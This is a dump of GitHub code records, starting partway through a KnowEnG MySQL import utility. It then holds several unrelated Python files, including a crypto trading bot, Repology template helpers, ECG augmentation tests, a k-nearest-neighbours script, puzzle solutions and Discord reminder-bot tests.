table)\n print(ld_cmd) \n db.load_data(file_name, table, ld_cmd)\n db.close()\n\ndef import_file_nokeys(file_name, table, ld_cmd='', args=None):\n \"\"\"Imports the provided file into the KnowEnG MySQL database using optimal\n settings.\n\n Starts a transaction and changes some MySQL settings for optimization, which\n disables the keys. It then loads the data into the provided table in MySQL.\n Note that the keys are not re-enabled after import. To do this call\n enable_keys(args).\n\n Args:\n file_name (str): path to the file to be imported\n table (str): name of the permanent table to import to\n ld_cmd (str): optional additional command for loading data\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n db = mu.get_database('KnowNet', args)\n print('Inserting nokeys data from ' + file_name +' into ' + table)\n print(ld_cmd)\n db.disable_keys()\n db.load_data(file_name, table, ld_cmd)\n db.close()\n\ndef enable_keys(args=None):\n \"\"\"Imports the provided file into the KnowEnG MySQL database using optimal\n settings.\n\n Starts a transaction and changes some MySQL settings for optimization, which\n disables the keys. It then loads the data into the provided table in MySQL.\n Note that the keys are not re-enabled after import. To do this call\n mysql_utilities.get_database('KnowNet', args).enable_keys().\n\n Args:\n file_name (str): path to the file to be imported\n table (str): name of the permanent table to import to\n ld_cmd (str): optional additional command for loading data\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n db = mu.get_database('KnowNet', args)\n db.enable_keys()\n db.close()\n\ndef import_filemeta(version_dict, args=None):\n \"\"\"Imports the provided version_dict into the KnowEnG MySQL database.\n\n Loads the data from an version dictionary into the raw_file table.\n\n Args:\n version_dict (dict): version dictionary describing a downloaded file\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n db = mu.get_database('KnowNet', args)\n values = [version_dict[\"source\"] + '.' + version_dict[\"alias\"],\n version_dict[\"remote_url\"], version_dict[\"remote_date\"],\n version_dict[\"remote_version\"], version_dict[\"remote_size\"],\n version_dict[\"source_url\"], version_dict[\"image\"], version_dict[\"reference\"],\n version_dict[\"pmid\"], version_dict[\"license\"],\n 'CURRENT_TIMESTAMP', version_dict[\"local_file_name\"], 'NULL']\n cmd = 'VALUES( ' + ','.join('%s' for i in values) + ')'\n db.replace_safe('raw_file', cmd, values)\n db.close()\n\ndef update_filemeta(version_dict, args=None):\n \"\"\"Updates the provided filemeta into the KnowEnG MySQL database.\n\n Updates the data from an version dictionary into the raw_file table.\n\n Args:\n version_dict (dict): version dictionary describing a downloaded file\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n db = mu.get_database('KnowNet', args)\n values = [version_dict[\"source\"] + '.' + version_dict[\"alias\"],\n version_dict[\"remote_url\"], version_dict[\"remote_date\"],\n version_dict[\"remote_version\"], version_dict[\"remote_size\"],\n version_dict[\"source_url\"], version_dict[\"image\"], version_dict[\"reference\"], version_dict[\"pmid\"], version_dict[\"license\"],\n 'CURRENT_TIMESTAMP', version_dict[\"local_file_name\"],\n version_dict[\"checksum\"]]\n cmd = 'VALUES( ' + ','.join('%s' for i in values) + ')'\n db.replace_safe('raw_file', cmd, values)\n db.close()\n\ndef import_edge(edgefile, args=None):\n \"\"\"Imports the provided edge file and any corresponding meta files into\n the KnowEnG MySQL database.\n\n Loads the data into a temporary table in MySQL. It then queries from the\n temporary table into the corresponding permanent table. If a duplication\n occurs during the query, it updates to the maximum edge score if it is an\n edge file, and ignores if it is metadata.\n\n Args:\n edgefile (str): path to the file to be imported\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n imports = ['node', 'node_meta', 'edge2line', 'edge', 'edge_meta']\n #uedge_cmd = ('edge.weight = IF(edge.weight > {0}.weight, edge.weight, '\n # '{0}.weight)')\n for table in imports:\n ld_cmd = ''\n dup_cmd = ''\n if table == 'edge':\n filename = edgefile\n else:\n filename = edgefile.replace('conv', table)\n ufile = filename.replace(table, 'unique.' + table)\n if os.path.isfile(ufile):\n filename = ufile\n if not os.path.isfile(filename):\n continue\n import_file(filename, table, ld_cmd, dup_cmd, args)\n\ndef import_production_edges(args=None):\n \"\"\"Query production edges from status table into the edge table.\n\n Queries the KnowNet status table and copies all distinct production edges\n to the edge table. If a duplication occurs during the query, it updates to\n the maximum edge score and keeps the edge hash for that edge.\n\n Args:\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n\n if args is None:\n args = cf.config_args()\n db = mu.get_database('KnowNet', args)\n cmd = ('SELECT DISTINCT n1_id, n2_id, et_name, weight, edge_hash '\n 'FROM KnowNet.status WHERE status.status=\"production\" '\n 'ON DUPLICATE KEY UPDATE edge.weight = '\n 'IF(edge.weight > status.weight, edge.weight, status.weight)')\n tablename = 'KnowNet.edge'\n db.insert(tablename, cmd)\n\ndef import_status(statusfile, args=None):\n \"\"\"Imports the provided status file and any corresponding meta files into\n the KnowEnG MySQL database.\n\n Loads the data into a temporary table in MySQL. It then queries from the\n temporary table into the corresponding permanent table. If a duplication\n occurs during the query, it updates to the maximum edge score if it is an\n edge file, and ignores if it is metadata.\n\n Args:\n status (str): path to the file to be imported\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n imports = ['node', 'node_meta', 'edge2line', 'status', 'edge_meta']\n for table in imports:\n ld_cmd = ''\n dup_cmd = ''\n if table == 'status':\n filename = statusfile\n else:\n filename = statusfile.replace('status', table)\n ufile = filename.replace(table, 'unique.' + table)\n if os.path.isfile(ufile):\n filename = ufile\n if not os.path.isfile(filename):\n continue\n import_file(filename, table, ld_cmd, dup_cmd, args)\n\ndef import_nodemeta(nmfile, args=None):\n \"\"\"Imports the provided node_meta file and any corresponding meta files into\n the KnowEnG MySQL database.\n\n Loads the data into a temporary table in MySQL. It then queries from the\n temporary table into the corresponding permanent table. If a duplication\n occurs during the query, it updates to the maximum edge score if it is an\n edge file, and ignores if it is metadata.\n\n Args:\n nmfile (str): path to the file to be imported\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n table = 'node_meta'\n dup_cmd = 'node_meta.node_id = node_meta.node_id'\n ld_cmd = ''\n import_file(nmfile, table, ld_cmd, dup_cmd, args)\n\ndef import_pnode(filename, args=None):\n \"\"\"Imports the provided property node file into the KnowEnG MySQL database.\n\n Loads the data into a temporary table in MySQL. It then queries from the\n temporary table into the corresponding permanent table. If a duplication\n occurs during the query, it updates to the maximum edge score if it is an\n edge file, and ignores if it is metadata.\n\n Args:\n filename (str): path to the file to be imported\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n ld_cmd = '(node_id, n_alias) SET n_type=\"Property\"'\n dup_cmd = 'node.node_id = node.node_id'\n table = 'node'\n import_file(filename, table, ld_cmd, dup_cmd, args)\n\ndef merge(merge_key, args):\n \"\"\"Uses sort to merge and unique the already sorted files of the table type\n and stores the results into outfile.\n\n This takes a table type (one of: node, node_meta, edge2line, status, or\n edge_meta) and merges them using the unix sort command while removing any\n duplicate elements.\n\n Args:\n merge_key (str): table type (one of: node, node_meta, edge2line, status,\n edge, or edge_meta)\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n if args.storage_dir:\n searchpath = os.path.join(args.storage_dir, args.data_path)\n else:\n searchpath = os.path.join(args.working_dir, args.data_path)\n outpath = os.path.join(args.working_dir, args.data_path)\n if merge_key == 'edge':\n outfile = os.path.join(outpath, 'unique-sort.' + merge_key + '.txt')\n else:\n outfile = os.path.join(outpath, 'unique.' + merge_key + '.txt')\n searchpath = os.path.join(searchpath, '*', '*', '*')\n with open(outfile, 'w') as out:\n cmd1 = ['find', searchpath, '-type', 'f',\n '-name', '*.unique.'+merge_key+'.*', '-print0']\n temppath = os.path.join(outpath, 'tmp')\n if not os.path.isdir(temppath):\n os.makedirs(temppath)\n cmd2 = ['xargs', '-0', 'sort', '-mu', '-T', temppath]\n print(' '.join(cmd1))\n print(' '.join(cmd2))\n p1 = subprocess.Popen(' '.join(cmd1), stdout=subprocess.PIPE, shell=True)\n subprocess.Popen(cmd2, stdin=p1.stdout, stdout=out).communicate()\n\n if merge_key != 'edge':\n return outfile\n\n us_file = outfile\n ud_file = os.path.join(outpath, 'unique-dup.edge.txt')\n ue_file = os.path.join(outpath, 'unique.edge.txt')\n with open(us_file, 'r') as infile, \\\n open(ud_file, 'w') as edge:\n reader = csv.reader(infile, delimiter='\\t')\n writer = csv.writer(edge, delimiter='\\t', lineterminator='\\n')\n prev = False\n for line in reader:\n line = line[1:] + [line[0]]\n e_chksum = line[4]\n weight = line[3]\n if not prev:\n prev = line\n if e_chksum != prev[4]:\n writer.writerow(prev)\n prev = line\n elif float(weight) > float(prev[3]):\n prev = line\n if prev:\n writer.writerow(prev)\n os.remove(us_file)\n with open(ue_file, 'w') as out:\n cmd1 = ['cat', ud_file]\n temppath = os.path.join(outpath, 'tmp')\n if not os.path.isdir(temppath):\n os.makedirs(temppath)\n cmd2 = ['sort', '-u', '-T', temppath]\n print(' '.join(cmd1))\n print(' '.join(cmd2))\n p1 = subprocess.Popen(cmd1, stdout=subprocess.PIPE)\n subprocess.Popen(cmd2, stdin=p1.stdout, stdout=out).communicate()\n os.remove(ud_file)\n return ue_file\n\n\ndef merge_logs(args):\n \"\"\"Merge all log files into a single file that contains all the information about the run.\n \"\"\"\n\n searchpath = os.path.join(args.working_dir, args.logs_path)\n if args.storage_dir:\n searchpath = os.path.join(args.storage_dir, args.logs_path)\n searchfile = os.path.join(searchpath, '*.log')\n outpath = os.path.join(args.working_dir, args.data_path)\n outfile = os.path.join(outpath, 'unique.log.txt')\n with open(outfile, 'w') as out:\n cmd1 = [\"\"\"awk -F'\\t' -v OFS='\\t' '$1 == \"run info\" {$1 = FILENAME; print}'\"\"\", searchfile]\n cmd2 = ['cut', '-f2-', '-d\\t']\n print(' '.join(cmd1))\n print(' '.join(cmd2))\n p1 = subprocess.Popen(' '.join(cmd1), stdout=subprocess.PIPE, shell=True)\n subprocess.Popen(cmd2, stdin=p1.stdout, stdout=out).communicate()\n return outfile\n\n\ndef main_parse_args():\n \"\"\"Processes command line arguments.\n\n Expects one positional argument (status_file) and number of optional\n arguments. If arguments are missing, supplies default values.\n\n Returns:\n Namespace: args as populated namespace\n \"\"\"\n parser = ArgumentParser()\n parser.add_argument('importfile', help='import file produced from map step, \\\n or merged files, and must contain the table name e.g. \\\n kegg/ath/kegg.ath.unique.status.1.txt or \\\n unique.status.txt')\n parser = cf.add_config_args(parser)\n args = parser.parse_args()\n return args\n\ndef main():\n \"\"\"Imports according to the given arguments.\n \"\"\"\n args = main_parse_args()\n merge_keys = ['node', 'node_meta', 'edge2line', 'status', 'edge', \\\n 'edge_meta', 'raw_line', 'table', 'log']\n if args.importfile == 'log':\n args.importfile = merge_logs(args)\n elif args.importfile in merge_keys:\n args.importfile = merge(args.importfile, args)\n table = ''\n ld_cmd = ''\n dup_cmd = ''\n for key in args.importfile.split('.'):\n if key in merge_keys:\n table = key\n break\n if not table:\n raise ValueError(\"ERROR: 'importfile' must contain one of \"+\\\n ','.join(merge_keys))\n import_file(args.importfile, table, ld_cmd, dup_cmd, args)\n if table == 'node_meta':\n filename = args.importfile.replace(\"node_meta\", \"node_meta_table\")\n mu.get_database(\"KnowNet\", args).dump_table(table, filename)\n ru.import_node_meta(filename, args)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"KnowEnG/KN_Builder","sub_path":"src/code/import_utilities.py","file_name":"import_utilities.py","file_ext":"py","file_size_in_byte":15723,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"7240437561","text":"from make_order import order\r\nfrom mean_reversion import mean_reversion\r\nfrom rsi import rsi\r\n\r\nimport numpy as np \r\nimport requests\r\nfrom time import sleep\r\nfrom datetime import datetime\r\nimport talib\r\n\r\nTRADE_SYMBOL = 'BTCUSD'\r\n\r\nurl = f'https://api.binance.us/api/v3/ticker?symbol={TRADE_SYMBOL}'\r\n\r\ncloses = []\r\nin_position = False\r\n\r\nTRADE_QUANTITY = 1\r\n\r\nAPI_KEY = '###############' #Alpaca API key\r\nSECRET_KEY = '#######################' #Alpaca secret API key\r\n\r\nwhile True: \r\n response = requests.get(url)\r\n response = response.json()\r\n\r\n close = response['lastPrice']\r\n closes.append(float(close))\r\n\r\n last_price = closes[-1]\r\n\r\n print(f'candle closed at {close}')\r\n\r\n output_mean_reversion = mean_reversion(closes, in_position)\r\n output_rsi = rsi(closes, in_position)\r\n\r\n if output_mean_reversion == 'buy' and output_rsi == 'buy': \r\n print('Buying...')\r\n order(TRADE_SYMBOL, TRADE_QUANTITY, 'buy', 'market', 'gtc', API_KEY, SECRET_KEY)\r\n buy_price = last_price\r\n print('Success!')\r\n in_position = True\r\n if output_mean_reversion == 'sell' and output_rsi == 'sell': \r\n print('Selling...')\r\n order(TRADE_SYMBOL, ((TRADE_QUANTITY - (TRADE_QUANTITY * 0.0025)) - 0.000000001), 'sell', 'market', 'gtc', API_KEY, SECRET_KEY)\r\n sell_price = last_price\r\n print('Success!')\r\n in_position = False\r\n if output_mean_reversion == 'no action' or output_rsi == 'no action': \r\n print('No Action Needed')\r\n\r\n print(f'Currently Holding : {in_position}')\r\n\r\n print('===============================================================================================================')\r\n \r\n sleep(5)\r\n","repo_name":"AlexMueller37/Crypto-Bot-2.0","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"11127541467","text":"import datetime\n\nimport flask\n\nfrom repology.package import PackageVersionClass, RepositoryVersionClass\nfrom repology.packageformatter import PackageFormatter\n\n\ndef maintainer_to_links(maintainer):\n links = []\n\n if '@' in maintainer:\n name, domain = maintainer.split('@', 1)\n\n if domain == 'cpan':\n links.append('http://search.cpan.org/~' + name)\n elif domain == 'aur':\n links.append('https://aur.archlinux.org/account/' + name)\n elif domain in ('altlinux.org', 'altlinux.ru'):\n links.append('http://sisyphus.ru/en/packager/' + name + '/')\n elif domain == 'github':\n links.append('https://github.com/' + name)\n elif domain == 'freshcode':\n links.append('http://freshcode.club/search?user=' + name)\n\n if '.' in domain:\n links.append('mailto:' + maintainer)\n\n return links\n\n\ndef is_fallback_maintainer(maintainer):\n return maintainer.startswith('fallback-mnt-') and maintainer.endswith('@repology')\n\n\ndef maintainers_to_group_mailto(maintainers, subject=None):\n emails = []\n\n for maintainer in maintainers:\n if '@' in maintainer and '.' in maintainer.split('@', 1)[1]:\n emails.append(maintainer)\n\n if not emails:\n return None\n\n return 'mailto:' + ','.join(sorted(emails)) + ('?subject=' + subject if subject else '')\n\n\ndef for_page(value, letter=None):\n if letter is None or letter == '0':\n return not value or value < 'a'\n elif letter >= 'z':\n return value and value >= 'z'\n else:\n return value and value >= letter and value < chr(ord(letter) + 1)\n\n\ndef pkg_format(value, pkg):\n return PackageFormatter().format(value, pkg)\n\n\ndef css_for_package_versionclass(value):\n if value == PackageVersionClass.newest:\n return 'newest'\n elif value == PackageVersionClass.outdated:\n return 'outdated'\n elif value == PackageVersionClass.ignored:\n return 'ignored'\n\n\ndef css_for_summary_versionclass(value):\n if value == RepositoryVersionClass.newest:\n return 'newest'\n elif value == RepositoryVersionClass.outdated:\n return 'outdated'\n elif value == RepositoryVersionClass.mixed:\n return 'mixed'\n elif value == RepositoryVersionClass.ignored:\n return 'ignored'\n elif value == RepositoryVersionClass.lonely:\n return 'unique'\n\n\ndef url_for_self(**args):\n return flask.url_for(flask.request.endpoint, **dict(flask.request.view_args, **args))\n\n\nclass AFKChecker:\n def __init__(self, intervals=[]):\n self.intervals = []\n for interval in intervals:\n start, *rest = [\n datetime.date(*map(int, date.split('-', 2)))\n for date in interval.split(' ', 1)\n ]\n\n self.intervals.append((start, rest[0] if rest else start))\n\n def GetAFKEnd(self, today=None):\n if today is None:\n today = datetime.date.today()\n\n for interval in self.intervals:\n if today >= interval[0] and today <= interval[1]:\n return interval[1]\n\n return None\n","repo_name":"roscopecoltran/sniperkit-services","sub_path":"dockerfiles/vcs/packages/repology/repology/template_helpers.py","file_name":"template_helpers.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"29038201578","text":"import pytest\n\nimport cv2\nimport numpy as np\nimport ecgmentations.augmentations.functional as F\n\ndef test_amplitude_invert_CASE_default():\n ecg = np.array([[1, 2, 3, 4, 5, 6], ]).T\n\n output = F.amplitude_invert(ecg)\n expected = np.array([[-1, -2, -3, -4, -5, -6], ]).T\n\n assert pytest.approx(output) == expected\n\ndef test_channel_shuffle_CASE_direct_order():\n ecg = np.array([[1, 2, 3, 4, 5, 6], [6, 5, 4, 3, 2, 1]]).T\n\n output = F.channel_shuffle(ecg, (0, 1))\n expected = np.array([[1, 2, 3, 4, 5, 6], [6, 5, 4, 3, 2, 1]]).T\n\n assert pytest.approx(output) == expected\n\ndef test_channel_shuffle_CASE_inverse_order():\n ecg = np.array([[1, 2, 3, 4, 5, 6], [6, 5, 4, 3, 2, 1]]).T\n\n output = F.channel_shuffle(ecg, (1, 0))\n expected = np.array([[6, 5, 4, 3, 2, 1], [1, 2, 3, 4, 5, 6]]).T\n\n assert pytest.approx(output) == expected\n\ndef test_channel_dropout_CASE_default():\n ecg = np.array([[1, 2, 3, 4, 5, 6], [6, 5, 4, 3, 2, 1]]).T\n\n channels_to_drop = (0, )\n fill_value = 0\n\n output = F.channel_dropout(ecg, channels_to_drop, fill_value)\n expected = np.array([[0, 0, 0, 0, 0, 0], [6, 5, 4, 3, 2, 1]]).T\n\n assert pytest.approx(output) == expected\n","repo_name":"rostepifanov/ecgmentations","sub_path":"tests/ecgmentations/augmentations/test_functional.py","file_name":"test_functional.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"74870125929","text":"import numpy as np\nimport pandas as pd\n\ndef euclidean_distances(X,X_train):\n\tdist = np.zeros((1000,1))\n\tfor j in np.arange(0,1000):\n\t\tdist[j] = np.linalg.norm(X-X_train[j])\n\tdist = np.reshape(dist,1000)\n\treturn dist\n\ndf_X = pd.read_csv('X.csv',header=None)\ndf_Y = pd.read_csv('Y.csv',header=None)\nX = np.array(df_X,dtype=np.float64)\nX = X.T\nY = np.array(df_Y,dtype=np.float64)\nX_test = np.array([[1,1],[1,-1],[-1,1],[-1,-1]])\n\nprint(\"Give K for the K nearest neighbors \\n\")\nK = input()\nK = int(K)\n\nfor i in range(0,len(X_test)):\n\tdist = euclidean_distances(X_test[i],X)\n\tidx = np.argpartition(dist, K)\n\tb = np.take(Y, idx[:K])\n\testimate = float(np.sum(b)/K)\n\tif estimate>0 :\n\t\tprint(X_test[i],\":1\")\n\telse:\n\t\tprint(X_test[i],\":-1\")\n","repo_name":"chakri1804/sumohana_AI_ML","sub_path":"assign_2/assign_2_b.py","file_name":"assign_2_b.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"4511862963","text":"from collections import defaultdict\nimport numpy as np\n\n\nwith open(\"input\") as f:\n lines = [np.array(list(map(int, line.strip()))) for line in f.readlines()]\n\n\nnew_lines = []\nfor line in lines:\n tmp = list(line)\n tmp_line = line\n for _ in range(4):\n tmp_line = (np.array(tmp_line) + 1) % 10\n tmp_line = [x if x != 0 else 1 for x in tmp_line]\n tmp.extend(tmp_line)\n new_lines.append(np.array(tmp))\nnew_lines = np.array(new_lines)\n\n\ntmp_line = np.array(new_lines)\nnew_lines = list(new_lines)\nfor i in range(1, 5):\n tmp_line = (tmp_line + 1) % 10\n tmp_line[tmp_line == 0] = 1\n for line in tmp_line:\n new_lines.append(line)\nlines = new_lines\nh, w = len(lines), len(lines[0])\nstack = [((0, 0), 0)]\nvisited = defaultdict(lambda: 99999)\nmin_weight = 99999\n\nLRUD = [(0, 1), (1, 0), (0, -1), (-1, 0)]\nprint(h, w)\nwhile stack:\n new_stack = []\n while stack:\n pos, weight = stack.pop()\n for x, y in LRUD:\n p = (pos[0] + x, pos[1] + y)\n if not (0 <= p[0] < h and 0 <= p[1] < w):\n continue\n new_weight = weight + lines[p[1]][p[0]]\n if new_weight < visited[p]:\n new_stack.append((p, new_weight))\n visited[p] = new_weight\n if p == (h - 1, w - 1):\n min_weight = min(min_weight, new_weight)\n stack = new_stack\n\nprint(min_weight)\n\n","repo_name":"madsthoisen/advent_of_code","sub_path":"2021/dec15/panic_solution.py","file_name":"panic_solution.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"33786022097","text":"import pyo\nfrom settings import audioSource\n\ns = pyo.Server(audio = audioSource, nchnls=1).boot()\ns.start()\n\na = pyo.Input(chnl=0)\nfol = pyo.Follower(a, freq=30, mul=4000, add=400)\nf = pyo.Biquad(a, freq=fol, q=5, type=2).out()\n\ns.gui()","repo_name":"fleidloff/effect-pedal","sub_path":"auto-wah.py","file_name":"auto-wah.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"2865416181","text":"#How to use if statement.\n\nPronType = str(input(\"Enter the type of Pronoun ->\"))\nCase = str(input(\"Enter the Case of Pronoun ->\"))\n\nif PronType == \"Pers\" and Case == \"Gen\":\n\tprint(\"The Pronoun is Possesive\")\n\tif PronType != \"Pers\" or Case == \"Gen\":\n\t\tprint(\"The Pronoun is Genitive\")\n\t\tif PronType == \"Pers\" or Case != \"Gen\":\n\t\t\tprint(\"The Pronoun is Personal\")\n\tprint(\"Yes, the Pronoun is Possesive.\")\n\nprint(\"Its not Poss Pronoun!\")\n\n\nweather = \"cold\"\n\na = 5\nb = 3\nmessage = \"Hello, world!\"\n\nlen_of_message = len(message)\n\nif weather == \"cold\" and a > b and len_of_message > 3:\n\tprint(\"Its work!\")\n\tif b > 1:\n\t\tprint(\"B is greater than 1\")\n\tprint(\"If statement ends there\")\n\nprint(\"Our cods ends\")\n\n\nPronType = str(input(\"Enter the type of Pronoun ->\"))\nCase = str(input(\"Enter the Case of Pronoun ->\"))\n\nif PronType == \"Pers\" and Case == \"Gen\":\n\tprint(\"The Pronoun is Possesive\")\n\na = 5\nb = 6\nc = 2\n\nif a < b:\n\tprint(\"A is less than B\")\n\nif a > b:\n\tprint(\"A is greather than B\")\n\nif a < b and c > 5:\n\tprint(\"A is less or than B\")\n\nif a > b and c < 5:\n\tprint(\"A is greather than B\")\n\nMy_num1 = 5\nMy_num2 = 7\nif My_num1 < My_num2:\n\tprint(\"My_num2 is greater\")\nprint(\"Execution complete\")\n\n","repo_name":"myavrum/homework","sub_path":"if.py","file_name":"if.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"33082718800","text":"'''\n一条包含字母 A-Z 的消息通过以下方式进行了编码:\n\n'A' -> 1\n'B' -> 2\n...\n'Z' -> 26\n给定一个只包含数字的非空字符串,请计算解码方法的总数\n\n'''\n\n# 第一反应:递归 但感觉效率又不够\n# 可以研究一下动态规划\n\n\ndef numDecoding(s):# 该实现思想上没问题,但还需要对0值做处理,此处是个坑\n if len(s) < 2:\n return 1\n if len(s) == 2:\n if int(s) <= 26:\n return 2\n else:\n return 1\n\n if int(s[-2:]) > 26:\n return numDecoding(s[:-1])\n else:\n return numDecoding(s[:-1]) + numDecoding(s[:-2])\n\n\nif __name__ == '__main__':\n ss = \"226\"\n print(numDecoding(ss))\n","repo_name":"1040979575/baseDataStructureAndAlgorithm","sub_path":"leecode/numDecoding.py","file_name":"numDecoding.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"75147430248","text":"class Solution:\n def intToRoman(self, num: int):\n d = {1: ['I', 'X', 'C', 'M'], 2: ['II', 'XX', 'CC', 'MM'], 3: ['III', 'XXX', 'CCC', 'MMM'], 4: ['IV', 'XL', 'CD'], 5: ['V', 'L', 'D'], 6: ['VI', 'LX', 'DC'], 7: ['VII', 'LXX', 'DCC'], 8: ['VIII', 'LXXX', 'DCCC'], 9: ['IX', 'XC', 'CM']}\n ans = \"\"\n i=0\n while(num!=0):\n digit = num%10\n if(digit!=0):\n ans = d.get(digit)[i]+ans\n i+=1\n num=num//10\n return ans\n\nd = {}\na = ['I','X','C','M']\nf = ['V','L','D']\nfor i in range(1,10):\n d[i]=[]\n if(i<4):\n for j in range(4):\n s = \"\"\n for k in range(i):\n s+=a[j]\n d[i].append(s)\n elif(i==4):\n for j in range(3):\n s = a[j]+f[j]\n d[i].append(s)\n elif(i==5):\n for j in range(3):\n d[i].append(f[j])\n elif(i<9):\n for j in range(3):\n s = f[j]\n for k in range(i-5):\n s+=a[j]\n d[i].append(s)\n else:\n for j in range(3):\n s = a[j]+a[j+1]\n d[i].append(s) \n\na = Solution()\nprint(a.intToRoman(int(input())))\n# print(d)","repo_name":"its-sachin/LeetCode","sub_path":"Random/q12.py","file_name":"q12.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"16439032542","text":"from typing import cast\r\n\r\nimport pytz\r\n\r\nfrom core.utils.constants import testmogus_id\r\nfrom disc.tests.main import Test\r\n\r\nfrom datetime import timedelta, time as Time\r\nfrom disc.tests.utils import (\r\n get_messages_at_time,\r\n test_message_deleted,\r\n user_says,\r\n)\r\nfrom core.start import data\r\nfrom core.data.writable import PeriodicAlert, SingleAlert\r\nfrom core.timer import now\r\n\r\n\r\nclass TestSetReminder(Test):\r\n async def test_set_daily(self) -> None:\r\n response = await user_says(\"daily 8am wake up\", expected_responses=1)\r\n self.assert_equal(\r\n response.content,\r\n f'<@{testmogus_id}>\\'s daily reminder at 8AM to \"wake up\" has been set.',\r\n )\r\n\r\n self.assert_true(test_message_deleted(\"daily 8am wake up\"))\r\n\r\n self.assert_len(data.tasks, 1)\r\n self.assert_is_instance(data.tasks[0], PeriodicAlert)\r\n self.assert_has_attrs(\r\n data.tasks[0],\r\n {\r\n \"msg\": \"wake up\",\r\n \"user\": testmogus_id,\r\n \"_repeat_activation_threshold\": timedelta(seconds=60),\r\n \"periodicity\": timedelta(days=1),\r\n },\r\n )\r\n task_activation = cast(\r\n PeriodicAlert, data.tasks[0]\r\n ).first_activation.astimezone(data.timezones[testmogus_id].tz)\r\n self.assert_equal(task_activation.hour, 12)\r\n self.assert_equal(task_activation.minute, 0)\r\n\r\n # 12 UTC is 8 EST\r\n alert = await get_messages_at_time(\r\n Time(hour=12, minute=0, second=0), expected_messages=1\r\n )\r\n self.assert_starts_with(\r\n alert.content, f\"Hey <@{testmogus_id}>, this is a reminder to wake up.\"\r\n )\r\n\r\n await get_messages_at_time(\r\n Time(hour=12, minute=0, second=2), expected_messages=0\r\n )\r\n\r\n async def test_set_weekly(self) -> None:\r\n response = await user_says(\"weekly 8am tuesdAy trash\", expected_responses=1)\r\n self.assert_equal(\r\n response.content,\r\n (\r\n f'<@{testmogus_id}>\\'s weekly reminder at 8AM on Tuesdays to \"trash\" '\r\n \"has been set.\"\r\n ),\r\n )\r\n\r\n self.assert_true(test_message_deleted(\"weekly 8am tuesdAy trash\"))\r\n\r\n self.assert_len(data.tasks, 1)\r\n self.assert_is_instance(data.tasks[0], PeriodicAlert)\r\n self.assert_has_attrs(\r\n data.tasks[0],\r\n {\r\n \"msg\": \"trash\",\r\n \"user\": testmogus_id,\r\n \"_repeat_activation_threshold\": timedelta(seconds=60),\r\n \"periodicity\": timedelta(days=7),\r\n },\r\n )\r\n task_activation = (\r\n cast(PeriodicAlert, data.tasks[0])\r\n .first_activation.replace(tzinfo=pytz.UTC)\r\n .astimezone(pytz.timezone(\"US/Eastern\"))\r\n )\r\n self.assert_equal(task_activation.hour, 8)\r\n self.assert_equal(task_activation.minute, 0)\r\n now.suppose_it_is(now().replace(hour=12))\r\n start = now()\r\n\r\n for i in range(14):\r\n curr = start + timedelta(days=i)\r\n if curr.strftime(\"%A\") == \"Tuesday\":\r\n alert = await get_messages_at_time(curr, expected_messages=1)\r\n self.assert_equal(\r\n alert.content,\r\n f\"Hey <@{testmogus_id}>, this is a reminder to trash.\",\r\n )\r\n else:\r\n await get_messages_at_time(curr, expected_messages=0)\r\n\r\n async def test_set_in(self) -> None:\r\n response = await user_says(\"in 3d8h5m4s wake up\", expected_responses=1)\r\n curr_time = now()\r\n\r\n self.assert_starts_with(\r\n response.content,\r\n f\"<@{testmogus_id}>'s reminder on \",\r\n )\r\n self.assert_ends_with(response.content, ' to \"wake up\" has been set.')\r\n self.assert_true(test_message_deleted(\"in 3d8h5m4s wake up\"))\r\n\r\n self.assert_len(data.tasks, 1)\r\n self.assert_is_instance(data.tasks[0], SingleAlert)\r\n self.assert_has_attrs(\r\n data.tasks[0],\r\n {\r\n \"_activation_threshold\": timedelta(seconds=30),\r\n \"repeatable\": False,\r\n \"msg\": \"wake up\",\r\n \"user\": testmogus_id,\r\n \"_reminder_str\": (\"Hey <@{user}>, this is a reminder to {msg}.\"),\r\n },\r\n )\r\n\r\n activation = cast(SingleAlert, data.tasks[0]).activation\r\n delta = timedelta(days=3, hours=8, minutes=5, seconds=4)\r\n self.assert_geq(\r\n 1,\r\n int((curr_time - activation + delta).total_seconds()),\r\n )\r\n\r\n alert = await get_messages_at_time(curr_time + 